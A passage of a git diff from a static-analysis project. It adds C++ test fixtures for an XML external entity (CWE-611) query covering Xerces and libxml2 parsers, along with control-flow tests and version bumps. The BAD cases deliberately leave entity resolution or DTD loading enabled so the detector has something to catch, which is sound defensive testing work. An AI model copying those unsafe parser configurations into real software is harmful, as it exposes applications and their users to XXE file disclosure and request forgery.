+	void setSecurityManager(SecurityManager *const manager);
+	void parse(const InputSource &data);
+};
+
+// ---
+
+void test2_1(InputSource &data) {
+	SAXParser *p = new SAXParser();
+
+	p->parse(data); // BAD (parser not correctly configured)
+}
+
+void test2_2(InputSource &data) {
+	SAXParser *p = new SAXParser();
+
+	p->setDisableDefaultEntityResolution(true);
+	p->parse(data); // GOOD
+}
+
+void test2_3(InputSource &data) {
+	SAXParser *p = new SAXParser();
+	bool v = false;
+
+	p->setDisableDefaultEntityResolution(v);
+	p->parse(data); // BAD (parser not correctly configured)
+}
+
+void test2_4(InputSource &data) {
+	SAXParser *p = new SAXParser();
+	bool v = true;
+
+	p->setDisableDefaultEntityResolution(v);
+	p->parse(data); // GOOD
+}
diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests3.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests3.cpp
new file mode 100644
index 00000000000..15e518daf13
--- /dev/null
+++ b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests3.cpp
@@ -0,0 +1,82 @@
+// test cases for rule CWE-611 (SAX2XMLReader)
+
+#include "tests.h"
+
+// ---
+
+class SAX2XMLReader
+{
+public:
+	void setFeature(const XMLCh *feature, bool value);
+	void parse(const InputSource &data);
+};
+
+class XMLReaderFactory
+{
+public:
+	static SAX2XMLReader *createXMLReader();
+};
+
+// ---
+
+void test3_1(InputSource &data) {
+	SAX2XMLReader *p = XMLReaderFactory::createXMLReader();
+
+	p->parse(data); // BAD (parser not correctly configured) [NOT DETECTED]
+}
+
+void test3_2(InputSource &data) {
+	SAX2XMLReader *p = XMLReaderFactory::createXMLReader();
+
+	p->setFeature(XMLUni::fgXercesDisableDefaultEntityResolution, true);
+	p->parse(data); // GOOD
+}
+
+SAX2XMLReader *p_3_3 = XMLReaderFactory::createXMLReader();
+
+void test3_3(InputSource &data) {
+	p_3_3->parse(data); // BAD (parser not correctly configured) [NOT DETECTED]
+}
+
+SAX2XMLReader *p_3_4 = XMLReaderFactory::createXMLReader();
+
+void test3_4(InputSource &data) {
+	p_3_4->setFeature(XMLUni::fgXercesDisableDefaultEntityResolution, true);
+	p_3_4->parse(data); // GOOD
+}
+
+SAX2XMLReader *p_3_5 = XMLReaderFactory::createXMLReader();
+
+void test3_5_init() {
+	p_3_5->setFeature(XMLUni::fgXercesDisableDefaultEntityResolution, true);
+}
+
+void test3_5(InputSource &data) {
+	test3_5_init();
+	p_3_5->parse(data); // GOOD
+}
+
+void test3_6(InputSource &data) {
+	SAX2XMLReader *p = XMLReaderFactory::createXMLReader();
+
+	p->setFeature(XMLUni::fgXercesDisableDefaultEntityResolution, false);
+	p->parse(data); // BAD (parser not correctly configured)
+}
+
+void test3_7(InputSource &data) {
+	SAX2XMLReader *p = XMLReaderFactory::createXMLReader();
+
+	p->setFeature(XMLUni::fgXercesHarmlessOption, true);
+	p->parse(data); // BAD (parser not correctly configured)
+}
+
+void test3_8(InputSource &data) {
+	SAX2XMLReader *p = XMLReaderFactory::createXMLReader();
+	const XMLCh *feature = XMLUni::fgXercesDisableDefaultEntityResolution;
+
+	p->setFeature(feature, true);
+	p->parse(data); // GOOD
+}
+
+
+
diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests4.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests4.cpp
new file mode 100644
index 00000000000..642c1866629
--- /dev/null
+++ b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests4.cpp
@@ -0,0 +1,135 @@
+// test cases for rule CWE-611 (libxml2)
+
+#include "tests.h"
+
+// ---
+
+enum xmlParserOption
+{
+	XML_PARSE_NOENT = 2,
+	XML_PARSE_DTDLOAD = 4,
+	XML_PARSE_OPTION_HARMLESS = 8
+};
+
+class xmlDoc;
+
+xmlDoc *xmlReadFile(const char *fileName, const char *encoding, int flags);
+xmlDoc *xmlReadMemory(const char *ptr, int sz, const char *url, const char *encoding, int flags);
+
+void xmlFreeDoc(xmlDoc *ptr);
+
+// ---
+
+void test4_1(const char *fileName) {
+	xmlDoc *p;
+
+	p = xmlReadFile(fileName, NULL, XML_PARSE_NOENT); // BAD (parser not correctly configured)
+	if (p != NULL)
+	{
+		xmlFreeDoc(p);
+	}
+}
+
+void test4_2(const char *fileName) {
+	xmlDoc *p;
+
+	p = xmlReadFile(fileName, NULL, XML_PARSE_DTDLOAD); // BAD (parser not correctly configured)
+	if (p != NULL)
+	{
+		xmlFreeDoc(p);
+	}
+}
+
+void test4_3(const char *fileName) {
+	xmlDoc *p;
+
+	p = xmlReadFile(fileName, NULL, XML_PARSE_NOENT | XML_PARSE_DTDLOAD); // BAD (parser not correctly configured)
+	if (p != NULL)
+	{
+		xmlFreeDoc(p);
+	}
+}
+
+void test4_4(const char *fileName) {
+	xmlDoc *p;
+
+	p = xmlReadFile(fileName, NULL, 0); // GOOD
+	if (p != NULL)
+	{
+		xmlFreeDoc(p);
+	}
+}
+
+void test4_5(const char *fileName) {
+	xmlDoc *p;
+
+	p = xmlReadFile(fileName, NULL, XML_PARSE_OPTION_HARMLESS); // GOOD
+	if (p != NULL)
+	{
+		xmlFreeDoc(p);
+	}
+}
+
+void test4_6(const char *fileName) {
+	xmlDoc *p;
+	int flags = XML_PARSE_NOENT;
+
+	p = xmlReadFile(fileName, NULL, flags); // BAD (parser not correctly configured)
+	if (p != NULL)
+	{
+		xmlFreeDoc(p);
+	}
+}
+
+void test4_7(const char *fileName) {
+	xmlDoc *p;
+	int flags = 0;
+
+	p = xmlReadFile(fileName, NULL, flags); // GOOD
+	if (p != NULL)
+	{
+		xmlFreeDoc(p);
+	}
+}
+
+void test4_8(const char *fileName) {
+	xmlDoc *p;
+	int flags = XML_PARSE_OPTION_HARMLESS;
+
+	p = xmlReadFile(fileName, NULL, flags | XML_PARSE_NOENT); // BAD (parser not correctly configured) [NOT DETECTED]
+	if (p != NULL)
+	{
+		xmlFreeDoc(p);
+	}
+}
+
+void test4_9(const char *fileName) {
+	xmlDoc *p;
+	int flags = XML_PARSE_NOENT;
+
+	p = xmlReadFile(fileName, NULL, flags | XML_PARSE_OPTION_HARMLESS); // BAD (parser not correctly configured) [NOT DETECTED]
+	if (p != NULL)
+	{
+		xmlFreeDoc(p);
+	}
+}
+
+void test4_10(const char *ptr, int sz) {
+	xmlDoc *p;
+
+	p = xmlReadMemory(ptr, sz, "", NULL, 0); // GOOD
+	if (p != NULL)
+	{
+		xmlFreeDoc(p);
+	}
+}
+
+void test4_11(const char *ptr, int sz) {
+	xmlDoc *p;
+
+	p = xmlReadMemory(ptr, sz, "", NULL, XML_PARSE_DTDLOAD); // BAD (parser not correctly configured)
+	if (p != NULL)
+	{
+		xmlFreeDoc(p);
+	}
+}
diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests5.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests5.cpp
new file mode 100644
index 00000000000..99027c9bd93
--- /dev/null
+++ b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests5.cpp
@@ -0,0 +1,103 @@
+// test cases for rule CWE-611 (createLSParser)
+
+#include "tests.h"
+
+// ---
+
+class DOMConfiguration {
+public:
+	void setParameter(const XMLCh *parameter, bool value);
+};
+
+class DOMLSParser {
+public:
+	DOMConfiguration *getDomConfig();
+
+	void parse(const InputSource &data);
+};
+
+class DOMImplementationLS {
+public:
+	DOMLSParser *createLSParser();
+};
+
+// ---
+
+void test5_1(DOMImplementationLS *impl, InputSource &data) {
+	DOMLSParser *p = impl->createLSParser();
+
+	p->parse(data); // BAD (parser not correctly configured)
+}
+
+void test5_2(DOMImplementationLS *impl, InputSource &data) {
+	DOMLSParser *p = impl->createLSParser();
+
+	p->getDomConfig()->setParameter(XMLUni::fgXercesDisableDefaultEntityResolution, true);
+	p->parse(data); // GOOD
+}
+
+void test5_3(DOMImplementationLS *impl, InputSource &data) {
+	DOMLSParser *p = impl->createLSParser();
+
+	p->getDomConfig()->setParameter(XMLUni::fgXercesDisableDefaultEntityResolution, false);
+	p->parse(data); // BAD (parser not correctly configured)
+}
+
+void test5_4(DOMImplementationLS *impl, InputSource &data) {
+	DOMLSParser *p = impl->createLSParser();
+	DOMConfiguration *cfg = p->getDomConfig();
+
+	cfg->setParameter(XMLUni::fgXercesDisableDefaultEntityResolution, true);
+	p->parse(data); // GOOD
+}
+
+void test5_5(DOMImplementationLS *impl, InputSource &data) {
+	DOMLSParser *p = impl->createLSParser();
+	DOMConfiguration *cfg = p->getDomConfig();
+
+	cfg->setParameter(XMLUni::fgXercesDisableDefaultEntityResolution, false);
+	p->parse(data); // BAD (parser not correctly configured)
+}
+
+DOMImplementationLS *g_impl;
+DOMLSParser *g_p1, *g_p2;
+InputSource *g_data;
+
+void test5_6_init() {
+	g_p1 = g_impl->createLSParser();
+	g_p1->getDomConfig()->setParameter(XMLUni::fgXercesDisableDefaultEntityResolution, true);
+
+	g_p2 = g_impl->createLSParser();
+}
+
+void test5_6() {
+	test5_6_init();
+
+	g_p1->parse(*g_data); // GOOD
+	g_p2->parse(*g_data); // BAD (parser not correctly configured) [NOT DETECTED]
+}
+
+void test5_7(DOMImplementationLS *impl, InputSource &data) {
+	DOMLSParser *p = impl->createLSParser();
+
+	p->parse(data); // BAD (parser not correctly configured)
+
+	p->getDomConfig()->setParameter(XMLUni::fgXercesDisableDefaultEntityResolution, true);
+	p->parse(data); // GOOD
+
+	p->getDomConfig()->setParameter(XMLUni::fgXercesDisableDefaultEntityResolution, false);
+	p->parse(data); // BAD (parser not correctly configured)
+}
+
+void test5_8(DOMImplementationLS *impl, InputSource &data) {
+	DOMLSParser *p = impl->createLSParser();
+	DOMConfiguration *cfg = p->getDomConfig();
+
+	p->parse(data); // BAD (parser not correctly configured) [NOT DETECTED]
+
+	cfg->setParameter(XMLUni::fgXercesDisableDefaultEntityResolution, true);
+	p->parse(data); // GOOD
+
+	cfg->setParameter(XMLUni::fgXercesDisableDefaultEntityResolution, false);
+	p->parse(data); // BAD (parser not correctly configured) [NOT DETECTED]
+}
diff --git a/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt.cpp b/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt.cpp
new file mode 100644
index 00000000000..b8d09edffca
--- /dev/null
+++ b/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt.cpp
@@ -0,0 +1,8 @@
+void normal(int x, int y) {
+  if(int z = y; x == z) {
+    l1:;
+  }
+  l2:;
+}
+
+// semmle-extractor-options: -std=c++17
diff --git a/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt01.expected b/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt01.expected
index 9ed533ab840..73752ac3834 100644
--- a/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt01.expected
+++ b/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt01.expected
@@ -1 +1,2 @@
 | ifstmt.c:28:6:28:11 | ... == ... | l2 |
+| ifstmt.cpp:2:17:2:22 | ... == ... | l2 |
diff --git a/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt02.expected b/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt02.expected
index 1dfd5b6042e..fcc99833adc 100644
--- a/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt02.expected
+++ b/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt02.expected
@@ -1 +1,2 @@
 | ifstmt.c:28:6:28:11 | ... == ... | l1 |
+| ifstmt.cpp:2:17:2:22 | ... == ... | l1 |
diff --git a/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt04.expected b/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt04.expected
index a3eb12cc2c2..6de3a7b13f0 100644
--- a/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt04.expected
+++ b/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt04.expected
@@ -1 +1,2 @@
 | ifstmt.c:29:8:29:8 | ; | l2 |
+| ifstmt.cpp:3:8:3:8 | ; | l2 |
diff --git a/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt05.ql b/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt05.ql
index 46d6d103b8a..e59a59a01f4 100644
--- a/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt05.ql
+++ b/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt05.ql
@@ -1,6 +1,9 @@
 /**
  * @name ifstmt05
- * @description Every if statement has its condition or one of the condition's descendants as its unique successor.
+ * @description Every if statement with an initialization has the initialization or one of the
+ *              initialization's descendants as its unique successor. Every if statement without
+ *              and initialization has its condition or one of the condition's descendants as
+ *              its unique successor.
  */
 
 import cpp
@@ -8,7 +11,11 @@ import cpp
 from IfStmt is
 where
   not (
-    is.getASuccessor() = is.getCondition().getAChild*() and
+    (
+      if exists(is.getInitialization())
+      then is.getASuccessor() = is.getInitialization().getAChild*()
+      else is.getASuccessor() = is.getCondition().getAChild*()
+    ) and
     count(is.getASuccessor()) = 1
   )
 select is
diff --git a/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt10.expected b/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt10.expected
index 8ffff11ac6e..a031d5f7d66 100644
--- a/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt10.expected
+++ b/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt10.expected
@@ -1,12 +1,27 @@
 | 0 | ifstmt.c:27:27:32:1 | { ... } | 1 | ifstmt.c:28:3:30:3 | if (...) ...  |
+| 0 | ifstmt.cpp:1:27:6:1 | { ... } | 1 | ifstmt.cpp:2:3:4:3 | if (...) ...  |
 | 1 | ifstmt.c:28:3:30:3 | if (...) ...  | 1 | ifstmt.c:28:6:28:6 | x |
 | 1 | ifstmt.c:28:6:28:6 | x | 1 | ifstmt.c:28:11:28:11 | y |
 | 1 | ifstmt.c:28:6:28:11 | ... == ... | 1 | ifstmt.c:28:14:30:3 | { ... } |
 | 1 | ifstmt.c:28:6:28:11 | ... == ... | 4 | ifstmt.c:31:3:31:5 | label ...: |
 | 1 | ifstmt.c:28:11:28:11 | y | 1 | ifstmt.c:28:6:28:11 | ... == ... |
 | 1 | ifstmt.c:28:14:30:3 | { ... } | 2 | ifstmt.c:29:5:29:7 | label ...: |
+| 1 | ifstmt.cpp:2:3:4:3 | if (...) ...  | 1 | ifstmt.cpp:2:6:2:6 | declaration |
+| 1 | ifstmt.cpp:2:6:2:6 | declaration | 1 | ifstmt.cpp:2:13:2:14 | initializer for z |
+| 1 | ifstmt.cpp:2:13:2:14 | initializer for z | 1 | ifstmt.cpp:2:14:2:14 | y |
+| 1 | ifstmt.cpp:2:14:2:14 | y | 1 | ifstmt.cpp:2:17:2:17 | x |
+| 1 | ifstmt.cpp:2:17:2:17 | x | 1 | ifstmt.cpp:2:22:2:22 | z |
+| 1 | ifstmt.cpp:2:17:2:22 | ... == ... | 1 | ifstmt.cpp:2:25:4:3 | { ... } |
+| 1 | ifstmt.cpp:2:17:2:22 | ... == ... | 4 | ifstmt.cpp:5:3:5:5 | label ...: |
+| 1 | ifstmt.cpp:2:22:2:22 | z | 1 | ifstmt.cpp:2:17:2:22 | ... == ... |
+| 1 | ifstmt.cpp:2:25:4:3 | { ... } | 2 | ifstmt.cpp:3:5:3:7 | label ...: |
 | 2 | ifstmt.c:29:5:29:7 | label ...: | 2 | ifstmt.c:29:8:29:8 | ; |
 | 2 | ifstmt.c:29:8:29:8 | ; | 4 | ifstmt.c:31:3:31:5 | label ...: |
+| 2 | ifstmt.cpp:3:5:3:7 | label ...: | 2 | ifstmt.cpp:3:8:3:8 | ; |
+| 2 | ifstmt.cpp:3:8:3:8 | ; | 4 | ifstmt.cpp:5:3:5:5 | label ...: |
 | 4 | ifstmt.c:31:3:31:5 | label ...: | 4 | ifstmt.c:31:6:31:6 | ; |
 | 4 | ifstmt.c:31:6:31:6 | ; | 5 | ifstmt.c:32:1:32:1 | return ... |
+| 4 | ifstmt.cpp:5:3:5:5 | label ...: | 4 | ifstmt.cpp:5:6:5:6 | ; |
+| 4 | ifstmt.cpp:5:6:5:6 | ; | 5 | ifstmt.cpp:6:1:6:1 | return ... |
 | 5 | ifstmt.c:32:1:32:1 | return ... | 0 | ifstmt.c:27:6:27:11 | normal |
+| 5 | ifstmt.cpp:6:1:6:1 | return ... | 0 | ifstmt.cpp:1:6:1:11 | normal |
diff --git a/python/ql/test/experimental/library-tests/frameworks/XML/ExperimentalXmlConceptsTests.expected b/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt11.expected
similarity index 100%
rename from python/ql/test/experimental/library-tests/frameworks/XML/ExperimentalXmlConceptsTests.expected
rename to cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt11.expected
diff --git a/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt11.ql b/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt11.ql
new file mode 100644
index 00000000000..ad729b076e6
--- /dev/null
+++ b/cpp/ql/test/successor-tests/ifstmt/ifstmt/ifstmt11.ql
@@ -0,0 +1,15 @@
+/**
+ * @name ifstmt11
+ * @description If an initialization exists, then the condition is a successor of the initialization.
+ */
+
+import cpp
+
+from IfStmt is, Expr e, Stmt s, ControlFlowNode n
+where
+  s = is.getInitialization() and
+  e = is.getCondition() and
+  n = s.getASuccessor*() and
+  not exists(ControlFlowNode m | m = e.getASuccessor*() | m = n) and
+  not exists(ControlFlowNode m | m = e.getAPredecessor*() | m = n)
+select is
diff --git a/cpp/ql/test/successor-tests/switchstmt/switchstmt/cfg.expected b/cpp/ql/test/successor-tests/switchstmt/switchstmt/cfg.expected
index ca3de0ffaff..607995cefd3 100644
--- a/cpp/ql/test/successor-tests/switchstmt/switchstmt/cfg.expected
+++ b/cpp/ql/test/successor-tests/switchstmt/switchstmt/cfg.expected
@@ -12,3 +12,20 @@
 | switchstmt | switchstmt.c:1:6:1:6 | f | 7 | 8 | switchstmt.c:7:5:7:5 | switchstmt.c:7:5:7:5 | switchstmt.c:7:5:7:5 | ; | 8: return ... |
 | switchstmt | switchstmt.c:1:6:1:6 | f | 8 | 9 | switchstmt.c:8:1:8:1 | switchstmt.c:8:1:8:1 | switchstmt.c:8:1:8:1 | return ... | 8: f |
 | switchstmt | switchstmt.c:1:6:1:6 | f | 8 | 10 | switchstmt.c:1:6:1:6 | switchstmt.c:1:6:1:6 | switchstmt.c:1:6:1:6 | f | <none> |
+| switchstmt | switchstmt.cpp:3:6:3:6 | g | 3 | 1 | switchstmt.cpp:3:15:12:1 | switchstmt.cpp:3:15:12:1 | switchstmt.cpp:3:15:12:1 | { ... } | 4: switch (...) ...  |
+| switchstmt | switchstmt.cpp:3:6:3:6 | g | 4 | 2 | switchstmt.cpp:4:6:10:5 | switchstmt.cpp:4:6:10:5 | switchstmt.cpp:4:6:10:5 | switch (...) ...  | 5: declaration |
+| switchstmt | switchstmt.cpp:3:6:3:6 | g | 5 | 3 | switchstmt.cpp:5:10:5:10 | switchstmt.cpp:5:10:5:10 | switchstmt.cpp:5:10:5:10 | declaration | 5: initializer for y |
+| switchstmt | switchstmt.cpp:3:6:3:6 | g | 5 | 4 | switchstmt.cpp:5:17:5:18 | switchstmt.cpp:5:17:5:18 | switchstmt.cpp:5:17:5:18 | initializer for y | 5: x |
+| switchstmt | switchstmt.cpp:3:6:3:6 | g | 5 | 5 | switchstmt.cpp:5:18:5:18 | switchstmt.cpp:5:18:5:18 | switchstmt.cpp:5:18:5:18 | x | 6: y |
+| switchstmt | switchstmt.cpp:3:6:3:6 | g | 6 | 6 | switchstmt.cpp:6:10:6:10 | switchstmt.cpp:6:10:6:10 | switchstmt.cpp:6:10:6:10 | y | 6: { ... } |
+| switchstmt | switchstmt.cpp:3:6:3:6 | g | 6 | 7 | switchstmt.cpp:6:13:10:5 | switchstmt.cpp:6:13:10:5 | switchstmt.cpp:6:13:10:5 | { ... } | 7: case ...: |
+| switchstmt | switchstmt.cpp:3:6:3:6 | g | 6 | 7 | switchstmt.cpp:6:13:10:5 | switchstmt.cpp:6:13:10:5 | switchstmt.cpp:6:13:10:5 | { ... } | 8: case ...: |
+| switchstmt | switchstmt.cpp:3:6:3:6 | g | 6 | 7 | switchstmt.cpp:6:13:10:5 | switchstmt.cpp:6:13:10:5 | switchstmt.cpp:6:13:10:5 | { ... } | 9: default:  |
+| switchstmt | switchstmt.cpp:3:6:3:6 | g | 7 | 1 | switchstmt.cpp:7:14:7:14 | switchstmt.cpp:7:14:7:14 | switchstmt.cpp:7:14:7:14 | 1 | <none> |
+| switchstmt | switchstmt.cpp:3:6:3:6 | g | 7 | 8 | switchstmt.cpp:7:9:7:15 | switchstmt.cpp:7:9:7:15 | switchstmt.cpp:7:9:7:15 | case ...: | 8: case ...: |
+| switchstmt | switchstmt.cpp:3:6:3:6 | g | 8 | 1 | switchstmt.cpp:8:14:8:14 | switchstmt.cpp:8:14:8:14 | switchstmt.cpp:8:14:8:14 | 2 | <none> |
+| switchstmt | switchstmt.cpp:3:6:3:6 | g | 8 | 9 | switchstmt.cpp:8:9:8:15 | switchstmt.cpp:8:9:8:15 | switchstmt.cpp:8:9:8:15 | case ...: | 9: default:  |
+| switchstmt | switchstmt.cpp:3:6:3:6 | g | 9 | 10 | switchstmt.cpp:9:9:9:16 | switchstmt.cpp:9:9:9:16 | switchstmt.cpp:9:9:9:16 | default:  | 11: ; |
+| switchstmt | switchstmt.cpp:3:6:3:6 | g | 11 | 11 | switchstmt.cpp:11:5:11:5 | switchstmt.cpp:11:5:11:5 | switchstmt.cpp:11:5:11:5 | ; | 12: return ... |
+| switchstmt | switchstmt.cpp:3:6:3:6 | g | 12 | 12 | switchstmt.cpp:12:1:12:1 | switchstmt.cpp:12:1:12:1 | switchstmt.cpp:12:1:12:1 | return ... | 12: g |
+| switchstmt | switchstmt.cpp:3:6:3:6 | g | 12 | 13 | switchstmt.cpp:3:6:3:6 | switchstmt.cpp:3:6:3:6 | switchstmt.cpp:3:6:3:6 | g | <none> |
diff --git a/cpp/ql/test/successor-tests/switchstmt/switchstmt/switchstmt.cpp b/cpp/ql/test/successor-tests/switchstmt/switchstmt/switchstmt.cpp
new file mode 100644
index 00000000000..a88ad7e710c
--- /dev/null
+++ b/cpp/ql/test/successor-tests/switchstmt/switchstmt/switchstmt.cpp
@@ -0,0 +1,12 @@
+// semmle-extractor-options: -std=c++17
+
+void g(int x) {
+     switch (
+         int y = x;
+         y) {
+        case 1:
+        case 2:
+        default:
+    }
+    ;
+}
diff --git a/csharp/documentation/library-coverage/coverage.csv b/csharp/documentation/library-coverage/coverage.csv
index 9a77f1e0ebc..4d9996c1446 100644
--- a/csharp/documentation/library-coverage/coverage.csv
+++ b/csharp/documentation/library-coverage/coverage.csv
@@ -1,6 +1,7 @@
 package,sink,source,summary,sink:code,sink:html,sink:remote,sink:sql,sink:xss,source:local,summary:taint,summary:value
 Dapper,55,,,,,,55,,,,
 Microsoft.ApplicationBlocks.Data,28,,,,,,28,,,,
+Microsoft.EntityFrameworkCore,6,,,,,,6,,,,
 Microsoft.Extensions.Primitives,,,54,,,,,,,54,
 Microsoft.VisualBasic,,,4,,,,,,,,4
 MySql.Data.MySqlClient,48,,,,,,48,,,,
diff --git a/csharp/documentation/library-coverage/coverage.rst b/csharp/documentation/library-coverage/coverage.rst
index 7ac7b6d1e9b..9863b503fbf 100644
--- a/csharp/documentation/library-coverage/coverage.rst
+++ b/csharp/documentation/library-coverage/coverage.rst
@@ -9,6 +9,6 @@ C# framework & library support
    Framework / library,Package,Flow sources,Taint & value steps,Sinks (total),`CWE-079` :sub:`Cross-site scripting`
    `ServiceStack <https://servicestack.net/>`_,"``ServiceStack.*``, ``ServiceStack``",,7,194,
    System,"``System.*``, ``System``",3,2336,28,5
-   Others,"``Dapper``, ``Microsoft.ApplicationBlocks.Data``, ``Microsoft.Extensions.Primitives``, ``Microsoft.VisualBasic``, ``MySql.Data.MySqlClient``, ``Newtonsoft.Json``",,149,131,
-   Totals,,3,2492,353,5
+   Others,"``Dapper``, ``Microsoft.ApplicationBlocks.Data``, ``Microsoft.EntityFrameworkCore``, ``Microsoft.Extensions.Primitives``, ``Microsoft.VisualBasic``, ``MySql.Data.MySqlClient``, ``Newtonsoft.Json``",,149,137,
+   Totals,,3,2492,359,5
 
diff --git a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md
index 867ad28bc67..a3b06b075db 100644
--- a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md
+++ b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 1.1.2
+
+## 1.1.1
+
 ## 1.1.0
 
 ## 1.0.7
diff --git a/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.1.1.md b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.1.1.md
new file mode 100644
index 00000000000..bf5d722f884
--- /dev/null
+++ b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.1.1.md
@@ -0,0 +1 @@
+## 1.1.1
diff --git a/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.1.2.md b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.1.2.md
new file mode 100644
index 00000000000..a948ef6c11d
--- /dev/null
+++ b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.1.2.md
@@ -0,0 +1 @@
+## 1.1.2
diff --git a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml
index 2ac15439f56..53ab127707f 100644
--- a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml
+++ b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.1.0
+lastReleaseVersion: 1.1.2
diff --git a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml
index 220d9ed0db9..ef0192e094a 100644
--- a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml
+++ b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/csharp-solorigate-all
-version: 1.1.1-dev
+version: 1.1.3-dev
 groups:
     - csharp
     - solorigate
diff --git a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md
index 867ad28bc67..a3b06b075db 100644
--- a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md
+++ b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 1.1.2
+
+## 1.1.1
+
 ## 1.1.0
 
 ## 1.0.7
diff --git a/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.1.1.md b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.1.1.md
new file mode 100644
index 00000000000..bf5d722f884
--- /dev/null
+++ b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.1.1.md
@@ -0,0 +1 @@
+## 1.1.1
diff --git a/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.1.2.md b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.1.2.md
new file mode 100644
index 00000000000..a948ef6c11d
--- /dev/null
+++ b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.1.2.md
@@ -0,0 +1 @@
+## 1.1.2
diff --git a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml
index 2ac15439f56..53ab127707f 100644
--- a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml
+++ b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.1.0
+lastReleaseVersion: 1.1.2
diff --git a/csharp/ql/campaigns/Solorigate/src/qlpack.yml b/csharp/ql/campaigns/Solorigate/src/qlpack.yml
index 475df83c7ff..d3d0baabf19 100644
--- a/csharp/ql/campaigns/Solorigate/src/qlpack.yml
+++ b/csharp/ql/campaigns/Solorigate/src/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/csharp-solorigate-queries
-version: 1.1.1-dev
+version: 1.1.3-dev
 groups:
     - csharp
     - solorigate
diff --git a/csharp/ql/lib/CHANGELOG.md b/csharp/ql/lib/CHANGELOG.md
index 3c66572c3e8..17252098beb 100644
--- a/csharp/ql/lib/CHANGELOG.md
+++ b/csharp/ql/lib/CHANGELOG.md
@@ -1,3 +1,11 @@
+## 0.2.1
+
+## 0.2.0
+
+### Breaking Changes
+
+* The signature of `allowImplicitRead` on `DataFlow::Configuration` and `TaintTracking::Configuration` has changed from `allowImplicitRead(DataFlow::Node node, DataFlow::Content c)` to `allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c)`.
+
 ## 0.1.0
 
 ### Breaking Changes
diff --git a/csharp/ql/lib/change-notes/2022-04-25-allow-implicit-read-signature.md b/csharp/ql/lib/change-notes/2022-04-25-allow-implicit-read-signature.md
deleted file mode 100644
index 4164b4d4b81..00000000000
--- a/csharp/ql/lib/change-notes/2022-04-25-allow-implicit-read-signature.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-category: breaking
----
-The signature of `allowImplicitRead` on `DataFlow::Configuration` and `TaintTracking::Configuration` has changed from `allowImplicitRead(DataFlow::Node node, DataFlow::Content c)` to `allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c)`.
\ No newline at end of file
